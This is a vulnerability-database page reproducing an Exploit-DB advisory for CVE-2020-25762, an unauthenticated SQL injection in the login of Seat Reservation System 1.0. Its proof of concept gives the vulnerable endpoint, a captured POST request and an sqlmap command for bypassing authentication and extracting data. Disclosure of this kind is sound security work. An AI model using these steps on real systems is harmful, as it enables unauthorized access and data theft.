Lucene search
K

Seat Reservation System 1.0 - Unauthenticated SQL Injection

🗓️ 16 Oct 2020 00:00:00Reported by Rahul RamkumarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 308 Views

Unauthenticated SQL Injection in Seat Reservation System 1.

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Alibaba Cloud Linux 3 : 0037: pki-core:10.6 (ALINUX3-SA-2021:0037)
14 May 202500:00
nessus
CVE
CVE-2020-25762
29 Sep 202019:11
cve
Cvelist
CVE-2020-25762
29 Sep 202019:11
cvelist
NVD
CVE-2020-25762
30 Sep 202018:15
nvd
OSV
CVE-2020-25762
30 Sep 202018:15
osv
Packet Storm
Seat Reservation System 1.0 SQL Injection
22 Sep 202000:00
packetstorm
Prion
Authentication flaw
30 Sep 202018:15
prion
RedhatCVE
CVE-2020-25762
22 May 202517:54
redhatcve
# Title: Seat Reservation System 1.0 - Unauthenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25762
# Description

The file admin_class.php does not perform input validation on the username and password parameters. An attacker can send malicious input in the post request to /admin/ajax.php?action=login and bypass authentication, extract sensitive information etc.

#POC

1) Navigate to the admin login page

Example:

http://192.168.1.72/seat_reservation/admin/login.php

2) Fill in dummy values for 'username' and 'password' fields and send the request via an HTTP intercept tool

3) Save the request to file. Example, seat_reservation_sqli.req

POST /seat_reservation/admin/ajax.php?action=login HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://192.168.1.72
DNT: 1
Connection: close

username=admin&password=dummy

4) Run SQLmap on the file,

sqlmap -r seat_reservation_sqli.req --dbms=mysql --threads=10

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation